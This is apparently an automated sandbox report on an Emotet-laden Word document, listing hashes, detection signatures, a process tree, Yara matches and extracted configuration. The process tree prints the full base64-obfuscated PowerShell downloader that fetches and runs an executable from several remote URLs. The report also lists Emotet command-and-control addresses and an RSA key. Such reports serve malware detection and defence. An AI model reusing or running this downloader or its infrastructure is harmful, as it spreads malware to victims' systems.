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Analysis Report #U5909#U53162020.doc

Overview

General Information

Sample Name:#U5909#U53162020.doc
Analysis ID:289426
MD5:c8d0a441bf2c3e33074ea2c984c78d1b
SHA1:dfea1289703be8b7b846bc9cfc6fcd4d2cc07b7b
SHA256:b427adb1ae5fd4b290ab65b93ea392c40c42f186b732f90768099681494d10ca
Tags:Heodo

Most interesting Screenshot:

Detection

Emotet
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Found malware configuration
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Yara detected Emotet
Creates processes via WMI
Drops executables to the windows directory (C:\Windows) and starts them
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Machine Learning detection for sample
PowerShell case anomaly found
Powershell drops PE file
Very long command line found
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains capabilities to detect virtual machines
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to dynamically determine API calls
Contains functionality to enumerate running services
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to retrieve information about pressed keystrokes
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Downloads executable code via HTTP
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Startup

  • System is w7x64
  • WINWORD.EXE (PID: 2424 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
  • powershell.exe (PID: 2500 cmdline: POWeRsHeLL -ENCOD JABVAGoAeQB4AHIAcQBlAD0AKAAnAEYAcAAnACsAKAAnAHIAJwArACcAZwBlACcAKQArACcAcAB1ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAUgBwAFIATwBGAGkATABlAFwAcwA0AFgAZAAwADIAMABcAFMAZQBNAFcANABwAHEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBjAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAEMAYABVAHIASQB0AHkAYABwAHIATwBUAE8AYABjAGAATwBsACIAIAA9ACAAKAAnAHQAJwArACgAJwBsAHMAMQAnACsAJwAyACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAMQAxACcAKQArACcALAAgACcAKwAnAHQAbAAnACsAJwBzACcAKQA7ACQATgBoAGQAZABpADYAZgAgAD0AIAAoACgAJwBCAHgAJwArACcAcABhACcAKQArACcAMQAnACsAKAAnAHoAJwArACcAeAA2ACcAKQApADsAJABTAGUAcAB5ADgAawBkAD0AKAAoACcAWgAnACsAJwBrAF8AZwAnACkAKwAnAHQAeQAnACsAJwBqACcAKQA7ACQAUABkADgANQB1AGEAdAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ACcAKwAnADAAfQBTADQAJwArACcAeABkADAAMgAwAHsAMAAnACsAJwB9AFMAJwArACgAJwBlAG0AdwAnACsAJwA0ACcAKQArACcAcAAnACsAJwBxAHsAMAB9ACcAKQAgACAALQBGACAAWwBDAGgAYQByAF0AOQAyACkAKwAkAE4AaABkAGQAaQA2AGYAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEoANwB0AGoANABkAGsAPQAoACgAJwBVAHUAJwArACcAZgBfACcAKQArACgAJwBxAG8AJwArACcAZQAnACkAKQA7ACQATAB2ADUAawAxAG4AawA9ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAHQALgBXAEUAYgBDAGwAaQBFAE4AVAA7ACQASAAyAHMAXwBuAGgAdAA9ACgAJwBoACcAKwAnAHQAJwArACcAdAAnACsAJwBwADoAJwArACcALwAvACcAKwAoACcAZwAnACsAJwB1AGkAJwApACsAJwB0AGEAJwArACcAcgAnACsAKAAnAHMAJwArACcAZgBvACcAKQArACgAJwByAGkAJwArACcAcwAnACkAKwAnAHIAJwArACcAYQBlACcAKwAoACcAbAAnACsAJwAuAG8AJwApACsAKAAnAHIAJwArACcAZwAvAFEAUAAnACsAJwBPAFUAJwApACsAJwBVAFkAJwArACgAJwB4ACcAKwAnAEwAQgBrACcAKQArACcALwAxACcAKwAoACcAbgBwAHIAJwArACcAZwBmACcAKQArACcALwAnACsAKAAnACoAaAAnACsAJwB0AHQAcAA6AC8ALwAnACsAJwBzAGEAZAAnACsAJwBhAG4AYQAnACkAKwAnAG4AJwArACcAZAAnACsAKAAnAHAAdgAnACsAJwBjACcAKQArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AdAAnACsAJwB3ACcAKwAnAGkAdAAnACkAKwAoACcAdABlAHIAJwArACcALwBCACcAKQArACgAJwBzACcAKwAnAHMAWAAnACsAJwBCAC8AKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6AC8ALwBoAGUAbABwACcAKwAnAC0AbQAyAGMALgAnACsAJwBlACcAKwAnAGMAJwArACcAYwBhAG4AZwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwBwACcAKwAnAHMAJwApACsAKAAnAGUAJwArACcAbwB2AGMAawAyACcAKQArACgAJwA3AGsAJwArACcAcgAnACkAKwAoACcALwBUACcAKwAnAC8AKgAnACkAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHkAbwAnACsAJwB1AHQAdQBiACcAKwAnAGUALQBtAG8AbgBlAHQAaQAnACkAKwAnAHoAYQAnACsAJwB0AGkAJwArACgAJwBvAG4AJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0ALwAnACkAKwAoACcAcQByAG4AcwAnACsAJwBwAC8AMgAnACkAKwAnAHYAJwArACcALwAnACsAKAAnACoAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AYQAnACkAKwAnAGgAJwArACcAcgAnACsAKAAnAGcAJwArACcAaQBuAHQAJwApACsAKAAnAGwALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwBhAGwAZgBhACcAKwAnAGMAJwArACcAZwAnACkAKwAoACcAaQBhAHAAaQAvACcAKwAnAGoAZwAnACkAKwAoACcAMQBWACcAKwAnAFUAJwApACsAJwBhAGUAJwArACgAJwAvACcAKwAnACoAaAB0AHQAJwApACsAKAAnAHAAOgAvACcAKwAnAC8AaAAnACsAJwBlAGwAaQBvAG4AcwAnACkAKwAoACcAcABoACcAKwAnAGEAcgAnACkAKwAnAG0AJwArACgAJwBhAGMAZQAnACsAJwB1AHQAaQBjAGEAJwApACsAKAAnAGwALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwB3ACcAKwAnAHAALQAnACsAJwBhAGQAJwApACsAKAAnAG0AaQAnACsAJwBuAC8AJwApACsAJwBYACcAKwAoACcAZwAnACsAJwAvACoAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAGgAYQAnACkAKwAoACcAbgB1AGwAbQAnACsAJwBvACcAKQArACgAJwB0AG8AJwArACcAcgBzAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAnAC8AJwArACcAbgBiACcAKQArACcAcQAnACsAKAAnAHMAJwArACcAbwAvACcAKQArACgAJwBIADAAJwArACcARABkAE8AeQAnACsAJwBCAC8AJwApACkALgAiAHMAUABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQB0ADMAbQB6AHcAbAA9ACgAKAAnAEoAJwArACcAcABlAGUAJwArACcAdgBuACcAKQArACcAdAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABLAGgAMgBlADQAbQAzACAAaQBuACAAJABIADIAcwBfAG4AaAB0ACkAewB0AHIAeQB7ACQATAB2ADUAawAxAG4AawAuACIARABgAE8AVwBuAGwAbwBBAGAAZABGAGkAYABMAEUAIgAoACQASwBoADIAZQA0AG0AMwAsACAAJABQAGQAOAA1AHUAYQB0ACkAOwAkAEUAbQBuADUAZAB2AGwAPQAoACgAJwBWACcAKwAnADcANwAnACkAKwAnAG0AZQAnACsAJwBlAGsAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFAAZAA4ADUAdQBhAHQAKQAuACIAbABgAGUATgBgAEcAVABIACIAIAAtAGcAZQAgADMAMgAyADkAOAApACAAewAuACgAJwBJACcAKwAnAG4AdgBvAGsAJwArACcAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABQAGQAOAA1AHUAYQB0ACkAOwAkAEoAbgBhADgAOQBfADIAPQAoACgAJwBLADcAJwArACcAbgAnACkAKwAoACcAXwBnAF8AJwArACcAcAAnACkAKQA7AGIAcgBlAGEAawA7ACQARQA1AGUAYQBsAHQAaQA9ACgAKAAnAEUAcwAnACsAJwA1ADIAMABfACcAKQArACcAagAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AMABoAF8AdABjAGkAPQAoACgAJwBQAGoAJwArACcAegB6ACcAKQArACgAJwAwAHcAJwArACcAeQAnACkAKQA= MD5: 852D67A27E454BD389FA7F02A8CBE23F)
    • Bxpa1zx6.exe (PID: 2368 cmdline: 'C:\Users\user\S4xd020\Semw4pq\Bxpa1zx6.exe' MD5: 8663432D0F2E54F1AB0ED7CFD8514DAD)
      • mfc140.exe (PID: 2848 cmdline: C:\Windows\SysWOW64\KBDNEPR\mfc140.exe MD5: 8663432D0F2E54F1AB0ED7CFD8514DAD)
  • cleanup

Malware Configuration

Threatname: Emotet

{"C2 list": ["174.106.122.139:80", "159.203.116.47:8080", "173.249.6.108:443", "104.236.246.93:8080", "174.45.13.118:80", "137.59.187.107:8080", "94.200.114.161:80", "37.187.72.193:8080", "67.10.155.92:80", "121.124.124.40:7080", "24.43.99.75:80", "75.139.38.211:80", "109.74.5.95:8080", "137.119.36.33:80", "74.134.41.124:80", "66.65.136.14:80", "94.1.108.190:443", "181.169.235.7:80", "79.137.83.50:443", "104.131.44.150:8080", "121.7.127.163:80", "96.249.236.156:443", "120.150.60.189:80", "134.209.36.254:8080", "110.145.77.103:80", "118.83.154.64:443", "71.72.196.159:80", "50.91.114.38:80", "62.75.141.82:80", "157.245.99.39:8080", "140.186.212.146:80", "168.235.67.138:7080", "104.131.11.150:443", "78.24.219.147:8080", "46.105.131.79:8080", "104.251.33.179:80", "24.43.32.186:80", "200.114.213.233:8080", "153.137.36.142:80", "85.96.199.93:80", "94.23.237.171:443", "5.39.91.110:7080", "85.152.162.105:80", "162.241.242.173:8080", "213.196.135.145:80", "139.99.158.11:443", "194.187.133.160:443", "78.187.156.31:80", "1.221.254.82:80", "124.41.215.226:80", "139.130.242.43:80", "209.141.54.221:8080", "87.106.136.232:8080", "83.169.36.251:8080", "195.7.12.8:80", "185.94.252.104:443", "95.213.236.64:8080", "42.200.107.142:80", "203.153.216.189:7080", "68.188.112.97:80", "5.196.74.210:8080", "87.106.139.101:8080", "104.32.141.43:80", "94.124.59.22:8080", "74.219.172.26:80", "108.46.29.236:80", "93.147.212.206:80", "172.104.97.173:8080", "190.240.194.77:443", "103.86.49.11:8080", "74.208.45.104:8080", "82.80.155.43:80", "61.19.246.238:443", "139.162.108.71:8080", "121.7.31.214:80", "188.219.31.12:80", "37.139.21.175:8080", "181.169.34.190:80", "219.74.18.66:443", "123.176.25.234:80", "216.139.123.119:80", "79.98.24.39:8080", "62.30.7.67:443", "139.162.60.124:8080", "176.111.60.55:8080", "91.211.88.52:7080", "172.91.208.86:80", "139.59.60.244:8080", "107.5.122.110:80", "50.35.17.13:80", "97.82.79.83:80", "68.252.26.78:80", "110.142.236.207:80", "47.144.21.12:443", "24.137.76.62:80", "220.245.198.194:80", "74.120.55.163:80", "24.179.13.119:80", "113.61.66.94:80", "174.106.122.139:80", "159.203.116.47:8080", "173.249.6.108:443", "104.236.246.93:8080", "174.45.13.118:80", "137.59.187.107:8080", "94.200.114.161:80", "37.187.72.193:8080", "67.10.155.92:80", "121.124.124.40:7080", "24.43.99.75:80", "75.139.38.211:80", "109.74.5.95:8080", "137.119.36.33:80", "74.134.41.124:80", "66.65.136.14:80", "94.1.108.190:443", "181.169.235.7:80", "79.137.83.50:443", "104.131.44.150:8080", "121.7.127.163:80", "96.249.236.156:443", "120.150.60.189:80", "134.209.36.254:8080", "110.145.77.103:80", "118.83.154.64:443", "71.72.196.159:80", "50.91.114.38:80", "62.75.141.82:80", "157.245.99.39:8080", "140.186.212.146:80", "168.235.67.138:7080", "104.131.11.150:443", "78.24.219.147:8080", "46.105.131.79:8080", "104.251.33.179:80", "24.43.32.186:80", "200.114.213.233:8080", "153.137.36.142:80", "85.96.199.93:80", "94.23.237.171:443", "5.39.91.110:7080", "85.152.162.105:80", "162.241.242.173:8080", "213.196.135.145:80", "139.99.158.11:443", "194.187.133.160:443", "78.187.156.31:80", "1.221.254.82:80", "124.41.215.226:80", "139.130.242.43:80", "209.141.54.221:8080", "87.106.136.232:8080", "83.169.36.251:8080", "195.7.12.8:80", "185.94.252.104:443", "95.213.236.64:8080", "42.200.107.142:80", "203.153.216.189:7080", "68.188.112.97:80", "5.196.74.210:8080", "87.106.139.101:8080", "104.32.141.43:80", "94.124.59.22:8080", "74.219.172.26:80", "108.46.29.236:80", "93.147.212.206:80", "172.104.97.173:8080", "190.240.194.77:443", "103.86.49.11:8080", "74.208.45.104:8080", "82.80.155.43:80", "61.19.246.238:443", "139.162.108.71:8080", "121.7.31.214:80", "188.219.31.12:80", "37.139.21.175:8080", "181.169.34.190:80", "219.74.18.66:443", "123.176.25.234:80", "216.139.123.119:80", "79.98.24.39:8080", "62.30.7.67:443", "139.162.60.124:8080", "176.111.60.55:8080", "91.211.88.52:7080", "172.91.208.86:80", "139.59.60.244:8080", "107.5.122.110:80", "50.35.17.13:80", "97.82.79.83:80", "68.252.26.78:80", "110.142.236.207:80", "47.144.21.12:443", "24.137.76.62:80", "220.245.198.194:80", "74.120.55.163:80", "24.179.13.119:80", "113.61.66.94:80"], "RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhANQOcBKvh5xEW7VcJ9totsjdBwuAclxS\nQ0e09fk8V053lktpW3TRrzAW63yt6j1KWnyxMrU3igFXypBoI4lVNmkje4UPtIIS\nfkzjEIvG1v/ZNn1k0J0PfFTxbFFeUEs3AwIDAQAB"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000004.00000002.2082935927.0000000000354000.00000004.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
    00000005.00000002.2334517870.00000000002B4000.00000004.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
      00000005.00000002.2334861917.0000000000B60000.00000002.00000001.sdmpPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
      • 0x5b2f6:$s1: POWeRsHeLL
      • 0x5da34:$s1: POWeRsHeLL
      00000005.00000002.2334501828.00000000002A0000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
        00000005.00000002.2334537235.0000000000351000.00000020.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
          Click to see the 2 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          4.2.Bxpa1zx6.exe.2b0000.0.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
            5.2.mfc140.exe.350000.0.unpackJoeSecurity_EmotetYara detected EmotetJoe Security

              Sigma Overview

              No Sigma rule has matched

              Signature Overview

              Click to jump to signature section

              Show All Signature Results

              AV Detection:

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